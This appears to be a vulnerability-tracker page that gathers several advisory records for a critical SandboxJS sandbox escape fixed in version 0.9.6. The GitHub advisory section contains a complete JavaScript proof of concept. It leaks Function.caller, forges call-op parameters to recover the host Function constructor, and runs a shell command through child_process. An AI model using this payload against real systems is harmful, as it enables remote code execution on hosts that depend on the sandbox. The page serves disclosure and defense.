SandboxJS: Sandbox escape via Function.caller leakage of internal call op

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

SandboxJS is a JavaScript sandboxing library. Prior to 0.9.6, sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript. This vulnerability is fixed in 0.9.6.

Source published

28 May 2026 17:50:31 UTC

Source modified

28 May 2026 19:32:45 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

SandboxJS is a JavaScript sandboxing library. Prior to 0.9.6, sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript. This vulnerability is fixed in 0.9.6.

Source published

May 28, 2026, 5:50:31 PM (timezone not stated)

Source modified

May 28, 2026, 7:32:45 PM (timezone not stated)

Observed here

9 Nov 2026 10:15:24 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

SandboxJS is a JavaScript sandboxing library. Prior to 0.9.6, sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript. This vulnerability is fixed in 0.9.6.

Source published

28 May 2026 18:16:32 UTC

Source modified

14 Oct 2026 20:10:00 UTC

Observed here

25 Oct 2026 10:17:15 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

### Summary Sandbox-defined functions expose `Function.caller`, allowing sandboxed code to recover the internal `LispType.Call` runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript. ### Details The vulnerability is in the property access logic registered via `addOps` in [prop.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/prop.ts#L10). Sandboxed code could access the `caller`, `callee`, and `arguments` properties on functions. In the CommonJS build, this allowed sandboxed code to read `Function.caller` and leak a privileged internal `LispType.Call` callback. In [executorUtils.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/executorUtils.ts#L239-L282) `createFunction()` constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe: ```js function f(){ return f.caller } ``` That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal `LispType.Call` op, which is registered in [call.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L16-L17). The escape was possible because the `LispType.Call` handler accepts a **params** object from the attacker and uses its fields without authenticating that they came from the executor. if you looked at those branches [call.ts:47](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L47-L55), [call.ts:70](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L70), [call.ts:149](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L149-L153). This means the attacker controls `obj.context`, `obj.prop`, `obj.get`, `context.evals.get` and `a`. This can lead to direct invocation of an internal primitive with forged operands ### PoC ```js const sandb = require('@nyariv/sandboxjs').default; const sand = new sandb(); const payload = ` const callOp = (function fn() { return fn.caller; })(); function makeContext(capture = () => {}) { return { ctx: { options: 0 }, evals: { get: capture } }; } function leakStatic(obj, prop) { let leaked; callOp({ done() {}, a() {}, b: [], obj: { context: obj, prop, get() {} }, context: makeContext((fn) => (leaked = fn, () => 1)) }); return leaked; } function callDirect(fn, args) { let value; callOp({ done(_, result) { value = result; }, a() {}, b: args, obj: fn, context: makeContext() }); return value; } callDirect(leakStatic(Object, 'defineProperty'), [ leakStatic, 'call', callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [ callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]), 'constructor' ]) ]); let hostFn; callOp({ done(_, result) { hostFn = result; }, a: leakStatic, b: [], obj: { context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()', get() {} }, context: makeContext() }); return hostFn(); `; console.log(sand.compile(payload)().run()); ``` ### Impact _Sandbox escape leads to RCE_

Source published

11 May 2026 19:40:00 UTC

Source modified

10 Sep 2026 03:51:05 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL